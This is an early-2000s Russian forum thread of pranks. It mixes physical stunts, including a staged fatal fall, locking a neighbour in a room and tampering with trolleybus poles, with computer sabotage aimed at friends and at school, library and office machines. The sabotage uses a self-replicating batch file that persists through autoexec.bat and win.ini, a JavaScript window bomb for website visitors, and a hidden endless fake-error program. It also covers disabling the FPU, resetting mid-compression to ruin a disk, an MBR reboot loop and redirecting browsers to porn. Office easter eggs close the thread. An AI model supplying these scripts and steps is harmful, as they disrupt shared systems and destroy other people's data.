Просмотр полной версии : Западлостроение, розыгрыши, приколы и пр.
Ronaldinio
07.11.2002, 05:29
1. Розыгрыш с яйцом. "Открыть любую дверь. Нужно, чтобы между дверью и косяком, там где петли, можно было просунуть пальцы. Заранее приготовить сырое куриное яйцо. Требуется уговорить "объект" просунуть пальцы в щель и взять ими яйцо. Хорошо, если яйцо будет располагаться с внутренней стороны, и это будет комната "объекта". Яйцо вручить и уйти:.."
2. Розыгрыш с табличками. "В учреждении, где много посетителей, разместить табличку с указанием туалета на двери совершенно другого помещения. Желательно, чтобы работники, находящиеся в этом помещении, как можно реже выходили наружу - так дольше провесит Ваша табличка, и тем дольше работники будут наблюдать стремительно забегающих, столбенеющих и выбегающих людей. Особенно, если поместить указатель женского туалета. Можно изготовить несколько стрелок указателей, чтобы люди находили дорогу к псевдотуалету. Можно вместо надписи "туалет" использовать надпись "буфет" - работникам придётся очень много раз объяснять, что тут не буфет, а например, лаборантская."
3. Розыгрыш с верёвкой. "Взять длинную верёвку и найти небольшой отдельно стоящий дом. Проходящего мимо человека попросить под любым предлогом подержать конец верёвки. С другим концом верёвки отправиться вокруг дома и, обойдя почти полностью, попросить другого человека подержать уже этот конец верёвки. Верёвку попросить сильно натянуть и уйти. Что получается? Эти люди друг друга не видят , им мешает угол ( вы видите их обоих ), и верёвку они бросить не могут - ведь их попросили подержать. Чем это кончится? Попробуйте, узнаете."
4. Розыгрыш по телефону. "Допустим, в Вашем коллективе появилась новая молоденькая секретарша. Зрители, посвящённые в розыгрыш, наблюдают за её поведением. Кто-либо из соседней комнаты звонит секретарю и как можно более серьёзным голосом сообщает о том, что звонят с телефонной станции, и сейчас в целях очистки проводов по телефонному каналу будет подан горячий пар под давлением. Поэтому нужно очень быстро закутать все телефонные трубки в офисе полиэтиленом или бумагой (или положить их на пол). Все сидят и смотрят: Самое главное - произнести это серьёзно и быстро. Ну и секретарша должна быть достаточно доверчивой."
5. Розыгрыш с "манекеном". "Выбрать "объект" розыгрыша. Это может быть сосед или соседка по комнате или кабинету. Комната должна находиться минимум на 2 этаже. На глазах "объекта" необходимо некоторое время просидеть у открытого окна на подоконнике. В какой-то момент, когда "объект" не смотрит на вас, вы должны спрятаться или бесшумно покинуть комнату. Одновременно с этим ваш помощник на улице под окном выкладывает чучело - одежда как у вас набита бумагой для объёма (яркая майка и т.д.) - и фанеру под цвет асфальта с нарисованным пятном "крови". Затем он кричит ваше имя со словами : "Разбился, разбился, помогите::.". Помощник, находящийся в комнате, и "объект" подбегают к окну и видят ваше тело на асфальте. Помощник предлагает спуститься и помочь вам, если это ещё возможно. Когда они убегают, вы возвращаетесь в комнату на своё место и сидите как ни в чём не бывало. Пока "объект" бежит вниз, "тело" и фанера убираются. "Объект" ничего не понимает. Помощник говорит, что тело, наверное, уже убрали. Они возвращаются в комнату, и "объект" видит вас - немая сцена::.."
Ronaldinio
07.11.2002, 05:30
6. Розыгрыш с сухим льдом. "Взять тазик горячей воды, вылить туда бутылку шампуни и бросить сухой лёд. Сам не пробовал, но говорят пены очень, очень, очень много - может заполнить и комнату вашего соседа. Представляете картину?"
7. Розыгрыш с присыпкой. "Ваш сосед находится в комнате. Временно заблокировать его дверь так, чтобы он не смог выйти. Заполнить трубку подходящего размера детской присыпкой. Один конец трубки подставить под дверь или к щели в косяке, а другой подставить к фену. Фен включить, и полная комната присыпки готова."
8. Розыгрыш с кроватью. "В общежитии или в казарме. Пока человек спит вынести его на кровати в туалет. По команде "подъём" он вскакивает, а вокруг одни унитазы: И одежды нет."
9. Розыгрыш со снежком. "Скатать огромный снежок и с помощью помощников на простыне затащить в комнату (кабинет) "объекта" незадолго до его прихода. Вытащить снежок целиком он не сможет, а снежок-то тает:.."
10. Розыгрыш в метро. "Группа людей заходят в один вагон метрополитена. Все заходят так, чтобы никто не заподозрил что они вместе. Через какое-то время, как поезд отъедет от станции, один из вошедших подходит к кнопке связи с машинистом, делает вид что нажимает ее и говорит так, чтобы слышало как можно больше народу: "Гамбургер и большую Кока-колу в вагон номер ____ " (номер вагона написан рядом с кнопкой). Сказав это, он просто становится и ждет следующей станции. На следующей станции в этот вагон заходит еще один человек (желательно в майке или кепке Кока-кола) и спрашивает громко: "Кто заказывал гамбургер и Кока-колу". Тот человек, который заказывал, подходит, забирает "заказ", быстро рассчитывается и едет дальше. Тот, который принес заказ, должен успеть выйти на этой станции. Поезд трогается. Человек снова подходит к кнопке и говорит: "До конечной без остановки". Реакция у пассажиров просто неописуемая."
11. Розыгрыш "Тест на трезвость". "Вот один старый простенький розыгрыш. Возвращаясь в компании домой после вечеринки (желательно на людной улице), заводится спор - кто из членов компании наиболее трезв. Выбранной жертве розыгрыша предлагается сделать ровную (надо подчеркнуть, что РОВНУЮ) ласточку (надеюсь, что это за фигура - понятно). После того, как жертва старательно сделает то, что от нее требуют, нужно объявить, что он (она) абсолютно пьян. В ответ на недоуменные восклицания жертвы объясните, что трезвый человек никогда не станет делать такое в людном месте. Сам я много раз проводил этот розыгрыш и только один раз объект розыгрыша смертельно обиделся - в компании была девушка, на которую тот хотел произвести впечатление. Произвел, конечно".
12. Розыгрыш с дрелью. "Значит так: Ищем объект для прикола, берем электродрель и пару раз запускаем ее на глазах у объекта, дабы привлечь его внимание... Потом заходим за спину, пускаем электродрель и тыкаем пальцем в спину объекту... Когда мне такое сделали, я сначала прыгнул метра на 2, потом минут 30 отходил :)"
13. Розыгрыш с кастрюлей В кастрюльку наливается вода, закрывается сверху листом бумаги, переворачивается вверх дном, ставится на ровный пол или даже лучше стол, бумага вытаскивается. Вода не вытекает. Жертва видит бесхозную (мешающую) кастрюлю и поднимает с понятным результатом. В качестве варианта вместо кастрюли берется стеклянная банка литра на 3-5 и ставится там, где это помешает потенциальной жертве, которая видит воду и просто приходится ломать голову как обойтись с наименьшими жертвами. При этом наиболее сложно убрать с пола. Насчет приклеивания тапочек к полу, коврику, пришивания одеяла к матрасу у спящего товарища я и не говорю. Как-то упустил офисный вариант - принцип тот же, но, например, с непрозрачным стаканчиком и на стол любимой секретарше
Ronaldinio
07.11.2002, 05:30
14. Розыгрыш с кабачковой икрой Группа пеших туристов останавливается на обед. В это время инструктор уходит метров на 500 вперед по тропе и вываливает на пути группы на землю банку кабачковой икры, налепив на нее клочки туалетной бумаги. Группа, отдохнув, выходит на маршрут. Инструктор идет не впереди, а где-то в серединке. Когда впередиидущие брезгливо переступают через эту кучку, инструктор расталкивая клиентов, с воплем СВЕЖАТИНА!!!!!!!! вытаскивает ложку и, разбросав бумажки начинает кушать. Эффект поразителен.
15. Воспитательный розыгрыш. Значит так, выбираем человека, который находится постоянно рядом с вами (жена, муж, брат, сестра, тесть, теща, отец, мать и т.д.). Обязательным условием является рассеянность этого человека. То есть, он является превосходным кандидатом для розыгрыша, если постоянно забывает в самых неожиданных местах свои мелкие вещи -- очки, заколки, перчатки, расчески и т.д. Естественно, что очень часто он их разыскивает и всех окружающих донимает вопросами типа "вы не видели мои очки (кошелек, ключи, ...) ?". Вот тут-то вы, как добрый самаритянин, и советуете ему заглянуть в какое-нибудь самое неподходящее для розысков место. Я, например, советую заглянуть в морозилку :) Естественно, что "жертва" понимает, что над ней прикалываются и не внимает вашим советам. Но после десятка таких прецедентов эта фраза уже врезается ей в память, и, когда все места обысканы, а потерянная вещь так и не найдена, то начинает заглядывать и в холодильник. И вот только после этого можно считать, что фундамент для прикола подготовлен и можно начинать свой прикол. Как только вы обнаруживаете забытую в неподходящем месте вещь "жертвы", вы берете и кладете эту вещь туда, где вы советовали ее искать. Рано или поздно "жертва" начинает розыски и, о чудо, она находит ее именно там, где вы ее и положили :) Естественно, не понимая как эта вещь там оказалась, "жертва" в конце концов начинает все розыски именно с этого места. Теперь представьте реакцию окружающих, наблюдающих как "жертва" в поисках потерянной расчески роется в холодильнике... Как вариант, эту вещь могут обнаружить другие люди и, абсолютно недоумевая как она могла ТАМ очутиться, вернуть ее "жертве" со словами типа "ну ты даешь... Положительный эффект от этого прикола состоит в том, что рано или поздно "жертва" начинает следить за своими вещами и не оставляет их в случайных местах.
16. С хлопушкой. "В детстве с друзьями мы разыгрывали соседей так. Привязывали хлопушку к перилам и дверной ручке и звонили в дверь. Результат можно наблюдать в дверной глазок - только не лопните от смеха, чтобы не попасться. Как правило, соседи в течении часа или двух после этого затаившись стоят за дверью и через каждые пять минут выбегают во двор в надежде поймать шутников."
17. С ниткой В кровать жертвы под простыню зигзагообразным методом укладывается нитка. Другой конец протягивается за дверь так, чтобы при натяжении нитка не поднималась и ее не было видно. Когда вечером жертва ложится в кровать, нитка потихоньку вытаскивается (ощущение шевелящегося насекомого)
18. Розыгрыш с брюками "Мою подругу попросил один знакомый подшить джинсы ( достаточно дорогие ). И т.к. подшивать надо было много ( он маленький и толстенький ), он попросил лишнюю ткань отрезать. Замерили они вместе сколько укорачивать, и моя подруга пошла к себе домой обрезать и подшивать. На следующий день я и моя подруга вместе с укороченными джинсами пошли к этому товарищу. Пришли, отдали джинсы и попросили сразу померить. Этот товарищ уходит в соседнюю комнату, одевает там джинсы и через некоторое время возвращается в страшном смятении. Оказывается, обе штанины короче чем надо см. на 20: получились эдакие бриджи. Моя подруга, когда видит это, падает на диван в предобмарочном состоянии - штаны она испортила, а ей на такие и за два месяца не заработать. И вдруг я вижу, что этот друг начинает смеяться - оказывается он просто загнул внутрь штанины. Над нами он, конечно, подшутил, но теперь моя подруга у него даже носовой платок подшить не возьмёт. И вообще она при слове "подшить" вздрагивать стала."
19. Телефон под током " Звонишь кому-нибудь и просишь, что бы не отвечали на телефонные звонки в течении 10 мин, т.к. на линии работает телефонист и его может ударить током. Через несколько минут перезваниваешь по этому же номеру , и если поднимают трубку, издайте душераздирающий вопль..."
20. Розыгрыш со спичками В бесснежное время года, в тесной компании (лучше, если эту шутку знает как можно меньше народу) выбрать жертву. Поставить ее посередине чего-либо (комнаты, кухни, сарая, лесной поляны, озера - где собственно все и собрались). Попросить вытянуть вперед руки, и в каждую руку, между большим и указательным пальцем дать по спичке головкой вниз. А потом еще по одной спичке положить под носок ботинка или туфельки таким образом, чтобы больше половины спички торчало вперед. И спросить: - Какой сейчас месяц? - ........ - бодро ответит жертва. - А почему ты на лыжах????? Эффект просто поразительный!!!! Несколько минут смеха обеспечено!
Unforg1ven
07.11.2002, 22:24
ГЫ.... а потом жалуемся на слабое сердце =)))
Себе такого не пожелаешь... но для других, всегда пожалуйста!!!!
веселуха... типа круто. Попробовать надо будет ...
ПЕРВАЯ БРАЧНАЯ НОЧЬ
"Этот розыгрыш годится как для трезвой, а лучше не совсем трезвой компании.
Инициатор конкурса предлагает кому либо из присутствующих проверить
координацию (степень опьянения, глазомер и т.д.). На листе бумаги ставятся
пять точек , образующих квадрат с точкой внутри (примерно, как сложенный по
чтовый конверт). Лист ложится на стол, напротив ставится зеркало , и
подопытному предлагается, глядя на отражение листа в зеркале, соединить все
точки между собой, по возможности не разорвав линию (это не так просто, как
вы думаете, даже трезвому :)). Чтобы жертва эксперимента не подсматривала,
кто-либо из зрителей закрывает листом бумаги сам рисунок так, чтобы было
видно только отражение. В процессе рисования жертва честно старается
провести линии поровнее и издает самые разнообразные звуки,
свидетельствующие о трудности задания типа: "Не попал..., Опять не попал...
Чего ржете, сами попробуйте..., Трудно, вспотел даже ...и т.д.". Задача
ведущего записать все фразы, слова, предложения и звуки, которые издает
испытуемый, и по окончании зачитать все вслух под заголовком "Как И.
(испытуемый) провел первую брачную ночь". Обычно все заканчивается всеобщим
посмешищем, после чего ищется очередной доброволец, а количество зрителей
увеличивается на 1. А так как зрители уже в курсе дела, то каждая фраза
нового добровольца приветствуется всеобщим ржанием.
p.s. Бывает ТАКОЕ услышишь ;-)"
В этом топике выкладываются в виде аттачей либо советов всевозможные шутки, приколы, розыгрыши и т.п. которые могут помочь поднять настроения Вам и Вашим коллегам по работе, знакомым, крутым доморещенным кулхацкерам и прочей публике постоянно ошивающейся у компа!
Внимание:
Вся информация выкладывемая в этом топике не должна реально угрожать работоспособности и информации хранящейся на компутере! Либо при выкладывании подобных советов, прог, etc, необходимо предупреждать о возможном вреде и по возможности указывать способы избавления в случае их НЕочевидности!!!
По утверждению автора, после импорта данного reg файла комп может быть выключен только посредством кнопки Reset ;)))
Сам не пробовал, ничего не обещаю...
ЗЫ Для нормальной работы под 98/Ме исправьте путь:
[HKEY_CURRENT_USER\Software\Microsoft\windows\
CurrentVersion\Policies\Explorer]
Пасибо Маску ;))
Так вот, рекурсия - это когда кто-нибудь вызывает сам себя. Например: запускаешь две Аськи у себя на компе (русскую и английскую, чтобы друг друга не видели) и начинаешь сам себе мессаги слать. Но я не о том. Ты, конечно же, знаешь, что всеми любимый MustDie очень требователен к железу (и вообще к ресурсам компа), так вот, используя рекурсию, мы поставим MD на колени.
1. Ну, для разминочки делаем на винте файл с именем "die.bat" и пишем в него следующие пять строчек:
@echo off
:metka
@start die.bat
@echo -----NAME RULEZZZzzz FOREVER-----
@goto metka
Где NAME - это твое имя. Хочешь посмотреть, что будет? Мой тебе совет, перед запуском этого файла сохрани все важные документы, а то, не дай Гейтс, все сотрешь. И еще, если скопировать этот файл в каталог Форточек и в файле "win.ini", в самом начале, после строчки "[windows]", написать команду "run=die.bat", то этот файл будет загружаться при каждом запуске Форточек.
2. Если добавить пару строчек в этот файлик:
@echo off
@echo -----NAME RULEZZZzzz FOREVER-----
@echo @echo off >> c:\autoexec.bat
@echo :metka >> c:\autoexec.bat
@echo @start c:\autoexec.bat >> c:\autoexec.bat
@echo @goto metka >> c:\autoexec.bat
И запустить его, то после перезагрузки компа ты больше никогда не кликнешь на этой прекрасной кнопке "Пуск" и не подвинешь курсор мыши к кнопке закрытия окна...
3. Но это все отстой! Попробуй-ка это:
<script> </p>
<p>now(); </p>
<p>function now(){for (i=1;i>0;i++){open('die.htm','new'+i);}} </p>
<p></script>
Сохрани эту чушь под именем "die.htm" и посмотри, как корчится твой броузер, пытаясь открыть очередное окно :). Кстати, если у тебя есть своя страничка в инете, можешь прикольнуться написав чего-нибудь типа "ПОСТОРОННИМ ВХОД ВОСПРЕЩЕН" и поставив ссылку на этот файл. Любопытный юзверь ломанется туда, а там опа... и все...
ПыСы: Не помню кто писал и откуда взято, но также сам не пробовал... ОС 9х/Ме
Прикольно, попробую обязательно (на работе).Гы
Mетод нумбер один - программный:
Если на экране появляется мессага с предупреждением и непонятными символами, то глупый юзверь думает, что винды глючат :)
Пишем маленькую прогу на VB, так как VB стоит почти во всех универах на всех компах. Ибо VB помогает познать глючный и тормозной мир виндов :)
Private Sub UserForm_Activate()
10 MsgBox ("CPU Fatal Error!"), vbCritical
goto 10
End Sub
Просто и коварно одновременно если кинешь ты енту прогу в автозагрузку или писанешь в реестр. Вешаешь прогу в библиотеке или в компутерном классе и через пару дней они завоют, Я тебе обещаю :) и позовут сисадмина, который это удалит. Надо позаботиться теперь о ламеростойкости нашей проги. Не забудь убрать ее из панели задач. Для этого в свойствах формы поставь ShowInTaskBar = False и спрячь форму. Для этого в свойствах формы измени Form.Visible = True на False.
Метод нумбер два - да поможет нам винда!
Лезем в Internet Options и там мы делаем следующее:
1. В последней закладке все делаем наоборот, т.е., где галочка там не галочка, а где не галочка там галочка :). Или делаем, чтоб не грузились картинки, нечего на порнуху глазеть ламухам.
2. Можешь сменить адрес вашего прокси и, когда ламухи обломаются и разбегутся, спокойно сядь за пустой комп, смени проксю назад и спокойно лезь в инет.
3. На загрузку в браузере поставь сайт с реальной порнухой можно не с людьми :)
4. Просто удали Експлорер.
Предупреждение! Не переборщи и не комбинируй методы.
Nymph
Ты прям диверсант какой-то, ;-)))
Nymph
Жестоко.... но весело )))))
1) Всё начинается как всегда с HKEY_LOCAL_MACHINE/System/CurrentControlSet/control/Shutdown вы, наверно, уже поняли, о чем будет разговор.
Конечно, все связанное с выключением нашей железяки (гы-гы-гы) :) в строковом параметре FastReboot стоит значение "0". Ну не долго думая, меняем его на "1" и получаем интересную историю. Когда мы будем делать компутеру Shut Down :o (в переводе с буржуйского - СПАТЬ!!!), он будет перезагружаться.
2) Если у вас стоит Win98, то екстрактаете RESTART.COM из c:\_windir_\command\ebd.cab\ и ставите его первой строкой в AUTOEXECе, после чего делаете его READ ONLY
3) Записываем прогу в MBR, ставим jmp на конец придельно допустимого сигмента памяти в досе, и ваш компьютер даже после формата винта будет перегружаться пожизненно... !!!
4) В system.ini в строчке mouse.drv=mouse.drv удаляем вторую половину и оставляем вот так mouse.drv= Эффект тот же ShutDown. Но гораздо злее.......... Под вынь98 работает безотказно.
5) Прикол с винтом. Во многих школах обычно стоят древние компы с Windows 95 (Fat-16). Соответственно грех этим не воспользоваться :). Для западла понадобится только встроенная программа форточки DriveSpace ("Сжатие диска"). Запускаешь это прогу на уплотнение диска. А когда процесс уплотнения будет в разгаре, просто ненавязчиво ткни на Reset :). Долгий полет винта обеспечен :)).
6) Шутка с ресетом неплохая, но не всегда срабатывает. Для профилактики надо во время процесса достать шнур из розетки, выключить комп, затем вставить и включить. Эффект тот же, что и выключенного компа при формате.
7) Во время оптимизации реестра под досом нажать RESET - эффект такой-жа, тока возни потом больше. З.Ы. проверено электроникой:)
Не каждому ламеру известно, что у него в компе есть математический сопроцессор (FPU). Эта хрень отвечает за выполнение операций с плавающей точкой. Не вдаваясь в подробности, скажу, что если FPU отключить твоему заклятому другу (или себе, если ты мазохист), то он получит незабываемые ощущения, а теперь конкретнее: в Win95 - иногда вылетает синий экран с сообщениями об ошибках; игры тормозят зверски (особенно 3D); DOS проги не запускаются вообще; эффекты такие, будто частота проца уменьшилась в два раза, в общем глюки :). В Win98 - все тоже самое, но нет синих экранов :).
Как это делается? Есть два пути:
1) Изменяем параметры в Панель управления -> Система -> Сопроцессор -> Включаем режим "не использовать". Но это гиморно и не по-хацкерски :).
2) Помещаем в System.ini строчки:
[MathCoprocessor]
FPUFlags=2
3) А теперь чиста хацкерский вариант :). Пишем батник и подсовываем его другу:
@echo off
ren %windir%\system.ini s
echo [MathCoprocessor] > %windir%\y
echo FPUFlags=2 >> %windir%\y
echo >> %windir%\y
copy %windir%\y /a +%windir%\s /a %windir%\system.ini > nul
del %windir%\s
del %windir%\y
Обязательно останься и посмотри, как твой друг будет радоваться ускорению работы компа :).
1) Классический прикол, срабатывающий на тех, кто уже знает кнопку "Пуск" ("Start"), но не знает всех особенностей Windows 95...
Когда этот самый новичок в мире Windows 95 на минуту уйдет в другую комнату, вы быстро подбегаете к его компьютеру, выделяете (но не нажимаете) кнопку "Пуск", жмете ALT +"минус" и... "Закрыть". Дальше вы возвращаетесь на исходную позицию, и наблюдаете за реакцией новичка... Кнопка вернется на место только после перезагрузки Windows'a.
2) Далее следует прикол, более сложный в исполнении:
На рабочем столе создайте папку с именем New Folder. Переименуйте ее в and now, the moment you've been all waiting for. Еще раз переименуйте ее в we proudly present for your viewing pleasure.
И снова переименуйте в The Microsoft Windows 95 Product Team!. Теперь откройте папку и наслаждайтесь именами тех, кто создал "сверх устойчивую систему". По моему, стабильность системы прямо пропорциональна количеству приколов, намертво вшитих в нее.
3) Неплохо работала фантазия и у тех, кто создавал хранители экрана для Windows 95 и NT. В основном приколы зарыты в хранителе экрана "Объемный текст" ("3D text"):
В зависимости от версии Windows 3D Text реагирует на следующие "волшебные" слова, заданные в качестве текста для отображения: I love NT (в версии 3.51), not evil (в версии 4.0), volcano (Windows 95 и NT), BEER и Rock (в версии 3.51).
4) Но есть прикол и для хранителя экрана под названием "Трубопровод":
Если для Windows NT в этом хранителе экрана задать параметр "чередующиеся сочленения", то переодически вместо соединения будет появляться чайник. Интересно, к чему бы это?
В Windows 95 этот трюк тоже проходит, если помимо "чередующегося сочленения" поставить параметр "число труб" в значение "несколько".
Microsoft Office
Панель Mocrosoft Office 95:
Установите стрелку курсора на маленький логотип в верхнем левом углу и нажмите правую кнопку мышы. В появившемся меню выберете "О панели Microsoft Office". На экране появится окошко с информацией о лицензии на продукт. Удерживая CTRL и SHIFT, дважды щелкните по логотипу. Щелкните еще раз по появившейся заставке, и обратите внимание на изменения регистрационных данных.
В Office 97 выше описанное не срабатывает. Видимо, программеры занялись более интересными приколами...
2) В Word 95 создайте новый документ и наберите в нем слово "Blue", теперь измените шрифт этого слова на полужирный и синий. Выделите пробел после набранного слова, в меню справки войдите в пункт "О Программе" и щелкните левой кнопкой мыши по логотипу в открывшимся окне.
В Word 97 это тоже срабатывает, но вызывает более крутой эффект. Но для этого требуется установленный DirectX.
3) В новом документе напечатайте =rand() и следуйте дальнейшим указаниям
4) Есть в Word 97 и пикантная шутка:
Наберите в документе слово zzzz и нажмите пробел. Слово, естественно, подчеркнется красной волнистой линией. Теперь нажмите на правую кнопку мыши и посмотрите на предлагаемую замену.
1) В Excel 95 создайте новую таблицу, перейдите на 95-ю строку, выделите ее и нажмите Tab. В меню "помощь" войдите в пункт "О программе", и удерживая CTRL и SHIFT, щелкните по кнопке "Поддержка".
ДОБРО ПОЖАЛОВАТЬ В MICROSOFT DOOM!
2) Есть слово-ключ, открывающий стену. Это слово - EXCELKFA.
3) В Excel 97 тоже не обошлось без фокусов. Итак, в чистой таблице нажмите клавишу F5, введите в строку ссылки значение x97:l97 и нажмите Enter. Теперь нажмите клавишу Tab и, удерживая CTRL и SHIFT щелкните по пиктограмме "мастер диаграмм".
4) В Excel 5.0 для знакомства с разработчиками нужно проделать следующие операции:
1. Сразу после запуска программы установить стрелку курсора на свободное место инструментальной
панели (Toolbar) и, щелкнув правой кнопкой мыши, выбрать пункт меню. Настройка..
2. Выбрать из списка категорий .Пользовательские. и перетащить пиктограмму с изображением карточной колоды в любую ячейку таблицы.
3. Отказаться от назначения макроса, закрыв возникшую диалоговую панель с помощью кнопки .Отмена. (Cancel).
4. Закрыть диалог настроек.
5. Удерживая клавиши <Ctrl>, <Alt> и < Shift>, щелкнуть левой кнопкой мыши по вставленной пиктограмме.
Перейдем к Microsoft Access...
1) Запустите Microsoft Access 95 или 97 и создайте новую базу данных. Выберите закладку "Макросы" и щелкните по кнопке "Создать", далее нажмите на клавишу "пробел" и закройте окно. На запрос о сохранении макроса ответьте утвердительно, назвав его "Magic Eight Ball".
Из ниспадающего меню "Вид" выберите пункт "Панель инструментов", а затем "Настройка". В появившейся диалоговой панели перейдите
к закладке "Команды" и выберите из списка категорий строку "Все макросы". В соседнем окошке появится название вашей макрокоманды. Перетащите ее на инстру ментальную панель Access. Не закрывая панели настроек, щелкните правой кнопкой мыши на вновь появившейся в панели инструментов пиктограмме, а затем на команде меню "Выбрать значок для кнопки". Из предложенной палитры изображений следует выбрать черный шар с цифрой "8". Закройте панель настроек. Предельно сконцентрируйтесь и мысленно пошлите компьютеру вопрос, который вас больше всего волнует в настоящий момент. Щелкните по
пиктограмме с волшебным шаром, и вы получите исчерпывающий ответ.
2) Следующей на очереди стоит программа подготовки презентаций Microsoft PowerPoint.
В обеих версиях - 95 и 97 - увидеть титры предельно просто. Для этого достаточно, выбрав из меню помощи пункт "О программе", щелкнуть левой кнопкой мыши по логотипу, находящемуся в верхнем левом углу. Вот так, простенько и со вкусом, ибо в оформлении этой встроенной .презентации. явно
чувствуется рука профессионального дизайнера. Кстати, с помощью клавиш управления курсором можно менять скорость прокрутки и размер надписей.
В Internet Explorer тоже, как оказалось, есть свои приколы. Программисты и здесь решили не поступаться своим принципам:
1) Загрузите Internet Explorer 4.0, войдите в справку и дальше в пункт "О программе".Возникнет соответствующее окошко. Удерживая клавишу CTRL захватите правой кнопкой мыши значек "е" в верхнем правом углу и сделайте несколько витков вокруг земного шара. Надпись "Internet Explorer" отодвинется, представив вашему взору кнопку. Нажмите ее, переместите значек "е" на земной шар и наслаждайтесь зрелищем!
2) Microsoft Outlook 97 решил подойти к приколам со стороны Интернет-технологий:
Создайте контакт с Ren Hoek. Выделите эту запись в папке контактов, войдите в меню "Помощь", "О программе", и, удерживая нажатыми Ctrl, Alt и Shift, нажмите на кнопку ОК.
3) Создайте новое сообщение, перейдите в окно для текста. Убедитесь, что в меню "формат" установлена опция HTML. Теперь в окошке выбора шрифта наберите слово "athena" и нажмите ENTER. Затем перейдите в основное окно Outlook Express и щелкните по надписи "Outlook Express", находящейся в
вершине дерева папок. Теперь щелкните на свободном белом поле картинки из правого окна и наберите с клавиатуры слово "about".
Давно известно, что в каждой программе Microsoft есть
какая-нибудь потайная дверца, за которой таится что-нибудь
вроде OpenGL аналога Quake или как минимум картинная галерея.
Windows 98, разумеется, не исключение. Для того чтобы воочию
убедиться в этом нужно сделать примерно следующее:
На рабочем столе создать ярлык, в командной строке вписать
буквально следующее:
"C:\WINDOWS\Application Data\Microsoft\WELCOME\WELDATA.EXE" You_are_a_real_rascal
Разумеется, что вместо C:\WINDOWS следует подставить именно
тот каталог в который вы установили Windows 98.
В свойствах ярлыка нужно указать, что приложение должно запускаться
"Свернутым в значок"
Все, можно запускать. Теперь вы понимаете, почему Windows 98 столько
занимает на диске?
Windows 98
Хотите увидеть имена всех разработчиков в скринсейвере:
1. Откройте свойства Экрана/Заставка
2. Выберите "Объемный текст"
3. Нажмите кнопка "Настройка" и в поле Текст введите Volcano.
Все можете наслаждасться. ENJOY!
Я вот думаю, а если в розыгрыше 14, про инструктора и кабачковую икру, он наколется, и не икру начнет хавать???
Если в комнате вашего коллеги или соседа по общежитию дверь открывается наружу, то возможен такой розыгрыш. Нужно соединить все возможные предметы: книги, ручки, лёгкие предметы мебели и т.д. с помощью ниток с ручкой двери. "Жертва" открывает дверь, и все предметы улетают со своих мест. Полный разгром. Единственная сложность - выйти из комнаты, подцепив нитки к ручке и не потревожив предметы.
Хороший розыгрыш оформляемый в виде игры. Хорошо проводить на природе при численности более 7 человек. Ведущий выбирает двух человек (допустим Вася и Петя) незнающих суть прикола. Эти двое отводятся в сторону на такое расстояние, чтобы они не могли услышать суть. Приводят по одному (скажем Васю). Васе объясняется, что в толпе загадали "кабардинского козла", и ему надо отгадать кто это. Ведущий громко объявляет: "Кто из нас кабардинский козел?". Все со всей мочи орут: "Я!". Ведущий объясняет Васе, что кто громче орет тот и есть "кабардинский козел" (при необходимости эта процедура повторяется). Вася указывает на кого-либо. Все соглашаются, что он угадал (соглашаются не зависимо на кого он указал, так как никакого козла и не загадывали) хвалят его и предлагают присоединиться. Вот тут и начинается весь спектакль. Теперь действительно якобы выбирается "кабардинский козел" (можно даже Васю). И Васе говорят что он тоже со всеми должен орать "Я". Приводят Петю. Также объясняют ему правила. Ведущий опять громко спрашивает: "Кто из нас Кабардинский козел?". И тут слышится громкий крик Васи "Я!" (Все остальные предупреждены, что второй раз не кричим).
В студенчестве стояли как то на остановке и ждали троллейбус. Народу собралось намеренно, не влезут и в три троллейбуса. Наконец подъезжает наш хваленый общественный транспорт. Все бросаются на штурм дверей, и тут слышится полная недоумения (но достаточно громкая) фраза "Ну надо же… Голые со знаменем…". Весь народ забывает про троллейбус и начинает озираться… А три студента тем временем свободно пролазят в троллейбус да еще и занимают места.
Для розыгрыша нужна оранжевая жилетка (как у дорожных рабочих) и строительные рукавицы. В час пик подойти к троллейбусу сзади и потянуть на себя вниз верёвки с помощью которых регулируют контактные штанги ("усы"). Попросить какого либо прохожего подержать веревки пока вы будете регулировать что-то там в кабине. Ваш внешний вид не вызывает сомнений в том, что вы - водитель. Ооооочень быстро удалиться на безопасное расстояние. Гнев настоящих водителей ужасен.
Еще один розыгрыш в виде игры… Чем больше народу тем получается интереснее. Выбирается два человека (парень и девушка) не знающих о приколе. Ведущий отводит их в сторону и объясняет, что якобы они должны представить, что недавно летали вместе на луну и сейчас им нужно отвечать с юмором на вопросы остальных об этом полете. Остальным же говорится, что сейчас придет пара молодоженов и ответит вам на вопросы о своей первой брачной ночи (естественно публике объясняется что этой паре объяснили совсем другое). Так вот весь прикол в вопросах. Они должны все быть двусмысленными :). Еще раз поясню, что полетом публика и называет их "невинные забавы". И идут вопросы типа: "Какие осложнения были в полете?"… "Сколько стыковок произвели?"… "Сколько человек в экипаже?"… "Транслировали ли полет по телевизору?"… И тому подобное (тут дается воля фантазии). Ну и слушаем ответы ничего не понимающей пары… 15 минут гомерического хохота Вам обеспечены :). В конце концов паре объявляется фраза которая все расставляет для них на места: "Поздравляем вас молодожены с окончанием первой брачной ночи". Самое интересное, что обычно эта пара растерянно смотрит на всех и не может понять почему все так угарают...
Двое людей одеваются более или менее одинаково, затем располагаются на двух соседних остановках, например, троллейбусных. Затем людям в троллейбусе на первой остановке предстает такая картина: парень бежит за уже отправляющимся троллейбусом и, естественно, не успевает. На следующей же остановке в открытые двери врывается вроде бы тот же самый тип с жуткой одышкой и словами вроде: "Еле догнал!!!" Впечатление производит неизгладимое.
Розыгрыш довольно старый, но начинающего юзера им вполне можно разыграть, а иногда на него может купиться и бывалый компьютерщик :). Идея такова: ждем, когда разыгрываемый отойдет по какому-либо поводу от компьютера, затем открываем на рабочем столе какое-нибудь приложение, например, "Лазерный проигрыватель" или папку, но не на весь экран, а где-нибудь в центре (лучше, чтобы окно не попадало на иконки на рабочем столе). Жмем клавишу Print Screen на клавиатуре и закрываем приложение. Потом открываем графический редактор Paint и выбираем из меню "Вставить". Скриншот с экрана загрузится в редактор. Сохраняем его куда-нибудь в C:\WINDOWS\ под каким-либо именем и выбираем "Заполнить рабочий стол Windows". Закрываем Paint, теперь в качестве обоев у разыгрываемого стоит изображение его же рабочего стола с раскрытым окном посередине :). Увидев это, жертва пытается закрыть окно (естественно, неудачно) и в конечном итоге со словами "Опять Винда повисла!!! %#@^%$#" перезагружает машину. И каково же будет её удивление, когда ненавистное окно появится на экране снова ;-)."
